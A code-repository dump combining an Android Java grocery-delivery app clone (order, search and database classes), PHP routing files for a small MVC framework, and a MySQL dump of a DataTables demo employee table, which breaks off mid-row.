shopBean.setShopName(cursor.getString(cursor.getColumnIndex(ShopContract.SHOP_NAME))); shopBean.setShopPhoto(cursor.getString(cursor.getColumnIndex(ShopContract.SHOP_PHOTO))); shopBean.setShopAddress(cursor.getString(cursor.getColumnIndex(ShopContract.SHOP_ADDRESS))); } cursor.close(); return shopBean; } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/order/NewOrderActivity.java package cn.com.findfine.jddaojia.order; import android.content.Intent; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.annotation.NonNull; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import com.bumptech.glide.Glide; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.Constant; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.bean.UserAddress; import cn.com.findfine.jddaojia.data.db.dao.ShoppingCartGoodsDao; import cn.com.findfine.jddaojia.data.db.dao.ShoppingCartShopDao; import cn.com.findfine.jddaojia.data.db.dao.UserAddressDao; import cn.com.findfine.jddaojia.http.HttpRequest; import cn.com.findfine.jddaojia.http.HttpUrl; import cn.com.findfine.jddaojia.myinfo.MyAddressActivity; import cn.com.findfine.jddaojia.utils.SharedPreferencesUtil; import okhttp3.Call; import okhttp3.Callback; import okhttp3.FormBody; import okhttp3.Response; public class NewOrderActivity extends BaseActivity implements View.OnClickListener { private List<GoodsBean> goodsBeans; private int shopId; private float cartGoodsPrice = 0.0f; private UserAddress userAddress; private String goodsArrayJson; private String goodsIdArray; private String goodsCountArray; private boolean isCreateOrder = false; private String orderNumber; private String userId; private String shopName; private UserAddressDao userAddressDao; private TextView tvUserAddress; private TextView tvUserInfo; private String orderId = ""; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_new_order); Toolbar toolbar = findViewById(R.id.toolbar); toolbar.setTitle("订单配送至"); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); toolbar.setNavigationOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBackPressed(); } }); Intent intent = getIntent(); shopId = intent.getIntExtra("shop_id", 0); shopName = intent.getStringExtra("shop_name"); userId = SharedPreferencesUtil.getUserAccount(this); init(); } private void init() { tvUserAddress = findViewById(R.id.tv_user_address); tvUserInfo = findViewById(R.id.tv_user_info); tvUserAddress.setOnClickListener(this); tvUserInfo.setOnClickListener(this); userAddressDao = new UserAddressDao(); initUserAddress(); ShoppingCartGoodsDao shoppingCartGoodsDao = new ShoppingCartGoodsDao(); goodsBeans = shoppingCartGoodsDao.queryGoodsCartByUserIdAndShopId(SharedPreferencesUtil.getUserAccount(this), shopId); TextView tvPayPrice = findViewById(R.id.tv_pay_price); JSONArray jsonArrayGoodsId = new JSONArray(); JSONArray jsonArrayGoodsCount = new JSONArray(); for (GoodsBean goodsBean : goodsBeans) { cartGoodsPrice += goodsBean.getGoodsPrice() * goodsBean.getGoodsCartCount(); jsonArrayGoodsId.put(goodsBean.getGoodsId()); jsonArrayGoodsCount.put(goodsBean.getGoodsCartCount()); } goodsIdArray = jsonArrayGoodsId.toString(); goodsCountArray = jsonArrayGoodsCount.toString(); tvPayPrice.setText("¥" + String.valueOf(cartGoodsPrice)); RecyclerView rvOrderGoodsList = findViewById(R.id.rv_order_goods_list); rvOrderGoodsList.setLayoutManager(new LinearLayoutManager(this)); rvOrderGoodsList.setAdapter(new ShopCartAdapter()); Button btnCommitOrder = findViewById(R.id.btn_commit_order); btnCommitOrder.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { createOrder(); } }); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.tv_user_address: case R.id.tv_user_info: Intent intent = new Intent(this, MyAddressActivity.class); intent.putExtra("source", "new_order"); startActivityForResult(intent, 3000); break; } } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == 3000 && resultCode == 3001) { userAddress = data.getParcelableExtra("user_address"); initUserAddress(); } } private void initUserAddress() { if (userAddress != null) { tvUserAddress.setText(userAddress.getAddress()); tvUserInfo.setVisibility(View.VISIBLE); tvUserInfo.setText(userAddress.getName() + " " + userAddress.getPhoneNumber()); } else { tvUserAddress.setText("请选择收货地址"); tvUserInfo.setVisibility(View.GONE); } } private void createOrder() { if (userAddress == null) { Toast.makeText(this, "请选择收货地址", Toast.LENGTH_SHORT).show(); return ; } if (!isCreateOrder) { orderNumber = String.valueOf(System.currentTimeMillis()); Date date = new Date(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); FormBody.Builder builder = new FormBody.Builder(); builder.add("shop_id", String.valueOf(shopId)); builder.add("goods_id", goodsIdArray); builder.add("goods_count", goodsCountArray); builder.add("create_time", sdf.format(date)); builder.add("user_address", userAddress.getName() + " " + userAddress.getPhoneNumber() + '\n' + userAddress.getAddress()); builder.add("user_id", SharedPreferencesUtil.getUserId(this)); builder.add("user_phone", SharedPreferencesUtil.getUserAccount(this)); builder.add("order_status", "2"); Log.i("goodsIdArray", goodsIdArray); Log.i("goodsCountArray", goodsCountArray); HttpRequest.requestPost("order_add.php", builder, new Callback() { @Override public void onFailure(Call call, IOException e) { } @Override public void onResponse(Call call, Response response) throws IOException { String result = response.body().string(); Log.i("Response", result); // {"success":true,"message":"添加成功","data":22}} try { JSONObject jsonObj = new JSONObject(result); String success = jsonObj.getString("success"); if ("true".equals(success)) { ShoppingCartShopDao shoppingCartShopDao = new ShoppingCartShopDao(); shoppingCartShopDao.deleteShopCartById(userId, shopId); ShoppingCartGoodsDao shoppingCartGoodsDao = new ShoppingCartGoodsDao(); shoppingCartGoodsDao.deleteGoodsCartByUserIdAndShopId(userId, shopId); orderId = String.valueOf(jsonObj.getInt("data")); handler.sendEmptyMessage(1); } } catch (JSONException e) { e.printStackTrace(); } } }); Intent intent = new Intent(); intent.putExtra(Constant.REFRESH_SHOP_CART, true); setResult(2001, intent); isCreateOrder = true; } } class ShopCartAdapter extends RecyclerView.Adapter<ViewHolder> { @NonNull @Override public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_order_goods, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(@NonNull ViewHolder holder, int position) { GoodsBean goodsBean = goodsBeans.get(position); Glide.with(NewOrderActivity.this).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(holder.ivGoodsPhoto); holder.tvGoodsName.setText(goodsBean.getGoodsName()); holder.tvGoodsPrice.setText("¥" + String.valueOf(goodsBean.getGoodsPrice())); holder.tvGoodsPriceAndCount.setText("¥" + String.valueOf(goodsBean.getGoodsPrice()) + " X " + String.valueOf(goodsBean.getGoodsCartCount())); } @Override public int getItemCount() { return goodsBeans.size(); } } class ViewHolder extends RecyclerView.ViewHolder { ImageView ivGoodsPhoto; TextView tvGoodsName; TextView tvGoodsPriceAndCount; TextView tvGoodsPrice; public ViewHolder(View itemView) { super(itemView); ivGoodsPhoto = itemView.findViewById(R.id.iv_goods_photo); tvGoodsName = itemView.findViewById(R.id.tv_goods_name); tvGoodsPriceAndCount = itemView.findViewById(R.id.tv_goods_price_and_count); tvGoodsPrice = itemView.findViewById(R.id.tv_goods_price); } } private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); if (msg.what == 1) { Intent intent = new Intent(NewOrderActivity.this, PayActivity.class); intent.putExtra("price", cartGoodsPrice + 10.0f); intent.putExtra("order_id", orderId); startActivity(intent); } } }; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/shop/GoodsDetialActivity.java package cn.com.findfine.jddaojia.shop; import android.content.Intent; import android.graphics.Color; import android.os.Bundle; import android.widget.ImageView; import android.widget.TextView; import com.bumptech.glide.Glide; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.http.HttpUrl; public class GoodsDetialActivity extends BaseActivity { private GoodsBean goodsBean; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_goods_detial); setStatusBarColor(Color.WHITE); Intent intent = getIntent(); goodsBean = intent.getParcelableExtra("goods_info"); init(); } private void init() { ImageView ivGoodsPhoto = findViewById(R.id.iv_goods_photo); TextView tvGoodsName = findViewById(R.id.tv_goods_name); TextView tvGoodsPrice = findViewById(R.id.tv_goods_price); TextView tvShopName = findViewById(R.id.tv_shop_name); Glide.with(this).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(ivGoodsPhoto); tvGoodsName.setText(goodsBean.getGoodsName()); tvGoodsPrice.setText("¥" + String.valueOf(goodsBean.getGoodsPrice())); } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/JdDaojiaDbHelper.java package cn.com.findfine.jddaojia.data.db; import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; import cn.com.findfine.jddaojia.JDApplication; import cn.com.findfine.jddaojia.data.db.contract.GoodsContract; import cn.com.findfine.jddaojia.data.db.contract.GoodsOrderContract; import cn.com.findfine.jddaojia.data.db.contract.ShopContract; import cn.com.findfine.jddaojia.data.db.contract.ShoppingCartGoodsContract; import cn.com.findfine.jddaojia.data.db.contract.ShoppingCartShopContract; import cn.com.findfine.jddaojia.data.db.contract.UserAddressContract; import cn.com.findfine.jddaojia.data.db.contract.UserContract; public class JdDaojiaDbHelper extends SQLiteOpenHelper { private static final String DB_NAME = "jddaojia.db"; private static final int DB_VERSION = 1; public static JdDaojiaDbHelper getInstance() { return SingletonProvider.instance; } private static class SingletonProvider { private static JdDaojiaDbHelper instance = new JdDaojiaDbHelper(JDApplication.getApplication()); } private JdDaojiaDbHelper(Context context) { super(context, DB_NAME, null, DB_VERSION); } @Override public void onCreate(SQLiteDatabase db) { onUpgrade(db, 0, DB_VERSION); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { for (int version = oldVersion + 1; version <= newVersion; version++) { upgradeTo(db, version); } } /** * Upgrade database from (version - 1) to version. */ private void upgradeTo(SQLiteDatabase db, int version) { switch (version) { case 1: createFirstTable(db); break; default: throw new IllegalStateException("Don't know how to upgrade to " + version); } } private void createFirstTable(SQLiteDatabase db) { db.execSQL(UserAddressContract.SQL_CREATE_USER_ADDRESS); db.execSQL(ShopContract.SQL_CREATE_SHOP); db.execSQL(GoodsContract.SQL_CREATE_GOODS); db.execSQL(ShoppingCartShopContract.SQL_CREATE_SHOPPING_CART); db.execSQL(ShoppingCartGoodsContract.SQL_CREATE_SHOPPING_CART); db.execSQL(UserContract.SQL_CREATE_USER_INFO); db.execSQL(GoodsOrderContract.SQL_CREATE_ORDER); } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/contract/GoodsOrderContract.java package cn.com.findfine.jddaojia.data.db.contract; public class GoodsOrderContract { public static final int ORDER_STATUS_SUCCESS = 1; public static final int ORDER_STATUS_CANCEL = 2; public static final int ORDER_STATUS_UNPAY = 3; public static final String TABLE_NAME = "goods_order"; public static final String _ID = "_id"; public static final String USER_ID = "user_id"; public static final String ORDER_NUMBER = "order_number"; public static final String CREATE_ORDER_TIME = "create_order_time"; public static final String ORDER_STATUS = "order_status"; public static final String SHOP_ID = "shop_id"; public static final String SHOP_NAME = "shop_name"; public static final String GOODS_ARRAY = "goods_array"; public static final String GOODS_PRICE = "goods_price"; public static final String ORDER_EVALUATION = "order_evaluation"; public static final String USER_ADDRESS = "shop_address"; public static final String SQL_CREATE_ORDER = "CREATE TABLE " + TABLE_NAME + " (" + _ID + " INTEGER PRIMARY KEY," + USER_ID + " TEXT," + ORDER_NUMBER + " TEXT," + CREATE_ORDER_TIME + " TEXT," + ORDER_STATUS + " INTEGER," + SHOP_ID + " INTEGER," + SHOP_NAME + " TEXT," + GOODS_ARRAY + " TEXT," + GOODS_PRICE + " TEXT," + ORDER_EVALUATION + " INTEGER," + USER_ADDRESS + " TEXT)"; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/search/SearchListActivity.java package cn.com.findfine.jddaojia.search; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.text.TextUtils; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.adapter.SearchGoodsListAdapter; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.bean.ShopBean; import cn.com.findfine.jddaojia.http.HttpRequest; import okhttp3.Call; import okhttp3.Callback; import okhttp3.FormBody; import okhttp3.Response; public class SearchListActivity extends BaseActivity implements View.OnClickListener { private EditText etSearch; private SearchGoodsListAdapter searchGoodsListAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_search_list); Toolbar toolbar = findViewById(R.id.toolbar); toolbar.setTitle(""); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); toolbar.setNavigationOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBackPressed(); } }); init(); } private void init() { Button btnSearch = findViewById(R.id.btn_search); etSearch = findViewById(R.id.et_search); btnSearch.setOnClickListener(this); RecyclerView rvSearchGoods = findViewById(R.id.rv_search_goods); rvSearchGoods.setLayoutManager(new LinearLayoutManager(this)); searchGoodsListAdapter = new SearchGoodsListAdapter(this); rvSearchGoods.setAdapter(searchGoodsListAdapter); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btn_search: String keyWords = etSearch.getText().toString(); if (!TextUtils.isEmpty(keyWords)) { // GoodsDao goodsDao = new GoodsDao(); // List<GoodsBean> goodsBeans = goodsDao.queryGoodsByKeyWords(keyWords); // // for (GoodsBean goodsBean : goodsBeans) { // Log.i("KeyWords", goodsBean.toString()); // } // // searchGoodsListAdapter.setGoodsBeans(goodsBeans); // searchGoodsListAdapter.notifyDataSetChanged(); getGoodsByKeyWords(keyWords); } break; } } private void getGoodsByKeyWords(String keyWords) { // good_search.php FormBody.Builder builder = new FormBody.Builder(); builder.add("key_words", keyWords); HttpRequest.requestPost("good_search.php", builder, new Callback() { @Override public void onFailure(Call call, IOException e) { } @Override public void onResponse(Call call, Response response) throws IOException { String result = response.body().string(); Log.i("Response", result); if ("null".equals(result)) { handler.sendEmptyMessage(2); return ; } try { JSONArray jsonArray = new JSONArray(result); List<GoodsBean> goodsBeans = new ArrayList<>(); HashMap<Integer, ShopBean> shopBeanHashMap = new HashMap<>(); for (int i = 0; i < jsonArray.length(); i++) { JSONObject jsonObject = jsonArray.getJSONObject(i); ShopBean shopBean = new ShopBean(); shopBean.setShopName(jsonObject.getString("shop_name")); shopBean.setShopPhoto(jsonObject.getString("shop_logo")); shopBean.setShopAddress(jsonObject.getString("shop_address")); int shoppId = Integer.valueOf(jsonObject.getString("id")); shopBean.setShopId(shoppId); shopBeanHashMap.put(shoppId, shopBean); JSONArray goodInfoArray = jsonObject.getJSONArray("good_info"); for (int j = 0; j < goodInfoArray.length(); j++) { JSONObject goodsObj = goodInfoArray.getJSONObject(j); GoodsBean goodsBean = new GoodsBean(); goodsBean.setShopId(Integer.valueOf(goodsObj.getString("shop_id"))); goodsBean.setGoodsId(Integer.valueOf(goodsObj.getString("goods_id"))); goodsBean.setGoodsName(goodsObj.getString("goods_name")); goodsBean.setGoodsPhoto(goodsObj.getString("goods_photo")); goodsBean.setGoodsPrice(Float.valueOf(goodsObj.getString("goods_price"))); goodsBeans.add(goodsBean); } } searchGoodsListAdapter.setGoodsBeans(goodsBeans, shopBeanHashMap); handler.sendEmptyMessage(1); } catch (JSONException e) { e.printStackTrace(); } } }); } private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); if (msg.what == 1) { searchGoodsListAdapter.notifyDataSetChanged(); } else if (msg.what == 2) { Toast.makeText(SearchListActivity.this, "没有这个商品", Toast.LENGTH_SHORT).show(); } } }; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/bean/UserAddress.java package cn.com.findfine.jddaojia.data.bean; import android.os.Parcel; import android.os.Parcelable; public class UserAddress implements Parcelable { private int id; private String userId; private String city; private String address; private String houseNumber; private String name; private String phoneNumber; public UserAddress() { } protected UserAddress(Parcel in) { id = in.readInt(); userId = in.readString(); city = in.readString(); address = in.readString(); houseNumber = in.readString(); name = in.readString(); phoneNumber = in.readString(); } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getUserId() { return userId; } public void setUserId(String userId) { this.userId = userId; } public String getCity() { return city; } public void setCity(String city) { this.city = city; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public String getHouseNumber() { return houseNumber; } public void setHouseNumber(String houseNumber) { this.houseNumber = houseNumber; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPhoneNumber() { return phoneNumber; } public void setPhoneNumber(String phoneNumber) { this.phoneNumber = phoneNumber; } @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel dest, int flags) { dest.writeInt(id); dest.writeString(userId); dest.writeString(city); dest.writeString(address); dest.writeString(houseNumber); dest.writeString(name); dest.writeString(phoneNumber); } public static final Creator<UserAddress> CREATOR = new Creator<UserAddress>() { @Override public UserAddress createFromParcel(Parcel in) { return new UserAddress(in); } @Override public UserAddress[] newArray(int size) { return new UserAddress[size]; } }; }
80a95604af20dbc4b9eab194b209b5793ae6ab54
[ "Markdown", "Java" ]
22
Java
jitayangchen/JDDaojia
1c0134fcc49c23e5d9f577cba24f2732d64d9305
f5d4a969579809dda68835b5957a26e812248f46
refs/heads/master
<file_sep>import React from "react"; import { getDefaultKeyBinding, KeyBindingUtil } from "draft-js"; import createLinkifyPlugin from "draft-js-linkify-plugin"; const linkifyPlugin = createLinkifyPlugin(); function Linkify(Editor) { return class extends React.Component { render() { let plugs = []; if (this.props.plugins) { plugs = this.props.plugins; } plugs.push(linkifyPlugin); const { plugins, ...props } = this.props; return <Editor plugins={plugs} {...props} />; } }; } module.exports.mutations = { BaseEditor: Linkify }; <file_sep># aurora-mutate-links Format links in Aurora notes
55c6558515a346f84de4a2d14925de0bee5d3109
[ "JavaScript", "Markdown" ]
2
JavaScript
tundra-code/aurora-mutate-links
014addc8be4cb25685c12d09d3c45cf9a94f4119
5fcec2886903af165b5fad07087ae4e79f821a9e
refs/heads/master
<file_sep><?php /** * Define your routes */ $collector->get('/', function(){ Loader::loadController('home','index', array()); }); $collector->get('/loginpage', function(){ Loader::loadController('login','index', array()); }); $collector->get('products/{id}/{page}/{name}', function($id, $page, $name){ Loader::loadController('products','allProductsByCategory', array($id, $page)); }); $collector->get('404', function(){ Loader::loadController('home','page404'); }); $collector->post('probica', function(){ Loader::loadController('test','test'); }); <file_sep><?php require_once "Loader.php"; require_once 'Router.php'; include_once 'interfaces.php'; include_once realpath("controllers/baseController.php"); include_once realpath("models/baseModel.php"); if(file_exists(realpath("controllers/frontendController.php"))) { include_once realpath("controllers/frontendController.php"); } Loader::loadClass('Session'); Loader::loadClass('Cookie'); Loader::loadClass('User'); Session::start(); include_once realpath("routes/dispatcher.php"); <file_sep><?php use Phroute\Phroute\RouteCollector; use Phroute\Phroute\Dispatcher; $collector = new RouteCollector(); require_once 'routes.php'; try { $dispatcher = new Dispatcher($collector->getData(), null); echo $dispatcher->dispatch($_SERVER['REQUEST_METHOD'], isset($_GET['rt']) ? $_GET['rt'] : '/'); } catch (Exception $e) { if(_ENVIROMENT == 'DEVELOPMENT'){ var_dump($e->getMessage(), $e->getCode(), $e->getFile(), $e->getLine(), $e->getTrace()); }else{ echo $dispatcher->dispatch('GET', '404'), "\n"; } }<file_sep>-- phpMyAdmin SQL Dump -- version 4.6.4 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Nov 28, 2016 at 10:37 PM -- Server version: 5.7.14 -- PHP Version: 5.6.25 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `all_shine_out` -- -- -------------------------------------------------------- -- -- Table structure for table `datatables_demo` -- CREATE TABLE `datatables_demo` ( `id` int(10) NOT NULL, `first_name` varchar(250) NOT NULL DEFAULT '', `last_name` varchar(250) NOT NULL DEFAULT '', `position` varchar(250) NOT NULL DEFAULT '', `email` varchar(250) NOT NULL DEFAULT '', `office` varchar(250) NOT NULL DEFAULT '', `start_date` datetime DEFAULT NULL, `age` int(8) DEFAULT NULL, `salary` int(8) DEFAULT NULL, `seq` int(8) DEFAULT NULL, `extn` varchar(8) NOT NULL DEFAULT '' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `datatables_demo` -- INSERT INTO `datatables_demo` (`id`, `first_name`, `last_name`, `position`, `email`, `office`, `start_date`, `age`, `salary`, `seq`, `extn`) VALUES (1, 'Tiger', 'Nixon', 'System Architect', '<EMAIL>', 'Edinburgh', '2011-04-25 00:00:00', 61, 320800, 2, '5421'), (2, 'Garrett', 'Winters', 'Accountant', '<EMAIL>', 'Tokyo', '2011-07-25 00:00:00', 63, 170750, 22, '8422'), (3, 'Ashton', 'Cox', 'Junior Technical Author', '<EMAIL>', 'San Francisco', '2009-01-12 00:00:00', 66, 86000, 6, '1562'), (4, 'Cedric', 'Kelly', 'Senior Javascript Developer', '<EMAIL>', 'Edinburgh', '2012-03-29 00:00:00', 22, 433060, 41, '6224'), (5, 'Airi', 'Satou', 'Accountant', '<EMAIL>', 'Tokyo', '2008-11-28 00:00:00', 33, 162700, 55, '5407'), (6, 'Brielle', 'Williamson', 'Integration Specialist', '<EMAIL>', 'New York', '2012-12-02 00:00:00', 61, 372000, 21, '4804'), (7, 'Herrod', 'Chandler', 'Sales Assistant', '<EMAIL>', 'San Francisco', '2012-08-06 00:00:00', 59, 137500, 46, '9608'), (8, 'Rhona', 'Davidson', 'Integration Specialist', '<EMAIL>', 'Tokyo', '2010-10-14 00:00:00', 55, 327900, 50, '6200'), (9, 'Colleen', 'Hurst', 'Javascript Developer', '<EMAIL>', 'San Francisco', '2009-09-15 00:00:00', 39, 205500, 26, '2360'), (10, 'Sonya', 'Frost', 'Software Engineer', '<EMAIL>', 'Edinburgh', '2008-12-13 00:00:00', 23, 103600, 18, '1667'), (11, 'Jena', 'Gaines', 'Office Manager', '<EMAIL>', 'London', '2008-12-19 00:00:00', 30, 90560, 13, '3814'), (12, 'Quinn', 'Flynn', 'Support Lead', '<EMAIL>', 'Edinburgh', '2013-03-03 00:00:00', 22, 342000, 23, '9497'), (13, 'Charde', 'Marshall', 'Regional Director', '<EMAIL>', 'San Francisco', '2008-10-16 00:00:00', 36, 470600, 14, '6741'), (14, 'Haley', 'Kennedy', 'Senior Marketing Designer', '<EMAIL>', 'London', '2012-12-18 00:00:00', 43, 313500, 12, '3597'), (15, 'Tatyana', 'Fitzpatrick', 'Regional Director', '<EMAIL>', 'London', '2010-03-17 00:00:00', 19, 385750, 54, '1965'), (16, 'Michael', 'Silva', 'Marketing Designer', '<EMAIL>', 'London', '2012-11-27 00:00:00', 66, 198500, 37, '1581'), (17, 'Paul', 'Byrd', 'Chief Financial Officer (CFO)', '<EMAIL>', 'New York', '2010-06-09 00:00:00', 64, 725000, 32, '3059'), (18, 'Gloria', 'Little', 'Systems Administrator', '<EMAIL>', 'New York', '2009-04-10 00:00:00', 59, 237500, 35, '1721'), (19, 'Bradley', 'Greer', 'Software Engineer', '<EMAIL>', 'London', '2012-10-13 00:00:00', 41, 132000, 48, '2558'), (20, 'Dai', 'Rios', 'Personnel Lead', '<EMAIL>', 'Edinburgh', '2012-09-26 00:00:00', 35, 217500, 45, '2290'), (21, 'Jenette', 'Caldwell', 'Development Lead', '<EMAIL>', 'New York', '2011-09-03 00:00:00', 30, 345000, 17, '1937'), (22, 'Yuri', 'Berry', 'Chief Marketing Officer (CMO)', '<EMAIL>', 'New York', '2009-06-25 00:00:00', 40, 675000, 57, '6154'), (23, 'Caesar', 'Vance', 'Pre-Sales Support', '<EMAIL>', 'New York', '2011-12-12 00:00:00', 21, 106450, 29, '8330'), (24, 'Doris', 'Wilder', 'Sales Assistant', '<EMAIL>', 'Sidney', '2010-09-20 00:00:00', 23, 85600, 56, '3023'), (25, 'Angelica', 'Ramos', 'Chief Executive Officer (CEO)', '<EMAIL>', 'London', '2009-10-09 00:00:00', 47, 1200000, 36, '5797'), (26, 'Gavin', 'Joyce', 'Developer', '<EMAIL>', 'Edinburgh', '2010-12-22 00:00:00', 42, 92575, 5, '8822'), (27, 'Jennifer', 'Chang', 'Regional Director', '<EMAIL>', 'Singapore', '2010-11-14 00:00:00', 28, 357650, 51, '9239'), (28, 'Brenden', 'Wagner', 'Software Engineer', '<EMAIL>', 'San Francisco', '2011-06-07 00:00:00', 28, 206850, 20, '1314'), (29, 'Fiona', 'Green', 'Chief Operating Officer (COO)', '<EMAIL>', 'San Francisco', '2010-03-11 00:00:00', 48, 850000, 7, '2947'), (30, 'Shou', 'Itou', 'Regional Marketing', '<EMAIL>', 'Tokyo', '2011-08-14 00:00:00', 20, 163000, 1, '8899'), (31, 'Michelle', 'House', 'Integration Specialist', '<EMAIL>', 'Sidney', '2011-06-02 00:00:00', 37, 95400, 39, '2769'), (32, 'Suki', 'Burks', 'Developer', '<EMAIL>', 'London', '2009-10-22 00:00:00', 53, 114500, 40, '6832'), (33, 'Prescott', 'Bartlett', 'Technical Author', '<EMAIL>', 'London', '2011-05-07 00:00:00', 27, 145000, 47, '3606'), (34, 'Gavin', 'Cortez', 'Team Leader', '<EMAIL>', 'San Francisco', '2008-10-26 00:00:00', 22, 235500, 52, '2860'), (35, 'Martena', 'Mccray', 'Post-Sales support', '<EMAIL>', 'Edinburgh', '2011-03-09 00:00:00', 46, 324050, 8, '8240'), (36, 'Unity', 'Butler', 'Marketing Designer', '<EMAIL>', 'San Francisco', '2009-12-09 00:00:00', 47, 85675, 24, '5384'), (37, 'Howard', 'Hatfield', 'Office Manager', '<EMAIL>', 'San Francisco', '2008-12-16 00:00:00', 51, 164500, 38, '7031'), (38, 'Hope', 'Fuentes', 'Secretary', '<EMAIL>', 'San Francisco', '2010-02-12 00:00:00', 41, 109850, 53, '6318'), (39, 'Vivian', 'Harrell', 'Financial Controller', '<EMAIL>', 'San Francisco', '2009-02-14 00:00:00', 62, 452500, 30, '9422'), (40, 'Timothy', 'Mooney', 'Office Manager', '<EMAIL>', 'London', '2008-12-11 00:00:00', 37, 136200, 28, '7580'), (41, 'Jackson', 'Bradshaw', 'Director', '<EMAIL>', 'New York', '2008-09-26 00:00:00', 65, 645750, 34, '1042'), (42, 'Olivia', 'Liang', 'Support Engineer', '<EMAIL>', 'Singapore', '2011-02-03 00:00:00', 64, 234500, 4, '2120'), (43, 'Bruno', 'Nash', 'Software Engineer', '<EMAIL>', 'London', '2011-05-03 00:00:00', 38, 163500, 3, '6222'), (44, 'Sakura', 'Yamamoto', 'Support Engineer', '<EMAIL>', 'Tokyo', '2009-08-19 00:00:00', 37, 139575, 31, '9383'), (45, 'Thor', 'Walton', 'Developer', '<EMAIL>', 'New York', '2013-08-11 00:00:00', 61, 98540, 11, '8327'), (46, 'Finn', 'Camacho', 'Support Engineer', '<EMAIL>', 'San Francisco', '2009-07-07 00:00:00', 47, 87500, 10, '2927'), (47, 'Serge', 'Baldwin', 'Data Coordinator', '<EMAIL>', 'Singapore', '2012-04-09 00:00:00', 64, 138575, 44, '8352'), (48, 'Zenaida', 'Frank', 'Software Engineer', '<EMAIL>', 'New York', '2010-01-04 00:00:00', 63, 125250, 42, '7439'), (49, 'Zorita', 'Serrano', 'Software Engineer', '<EMAIL>', 'San Francisco', '2012-06-01 00:00:00', 56, 115000, 27, '4389'), (50, 'Jennifer', 'Acosta', 'Junior Javascript Developer', '<EMAIL>', 'Edinburgh', '2013-02-01 00:00:00', 43, 75650, 49, '3431'), (51, 'Cara', 'Stevens', 'Sales Assistant', '<EMAIL>', 'New York', '2011-12-06 00:00:00', 46, 145600, 15, '3990'), (52, 'Hermione', 'Butler', 'Regional Director', '<EMAIL>', 'London', '2011-03-21 00:00:00', 47, 356250, 9, '1016'), (53, 'Lael', 'Greer', 'Systems Administrator', '<EMAIL>', 'London', '2009-02-27 00:00:00', 21, 103500, 25, '6733'), (54, 'Jonas', 'Alexander', 'Developer', '<EMAIL>', 'San Francisco', '2010-07-14 00:00:00', 30, 86500, 33, '8196'), (55, 'Shad', 'Decker', 'Regional Director', '<EMAIL>', 'Edinburgh', '2008-11-13 00:00:00', 51, 183000, 43, '6373'), (56, 'Michael', 'Bruce', 'Javascript Developer', '<EMAIL>', 'Singapore', '2011-06-27 00:00:00', 29, 183000, 16, '5384'), (57, 'Donna', 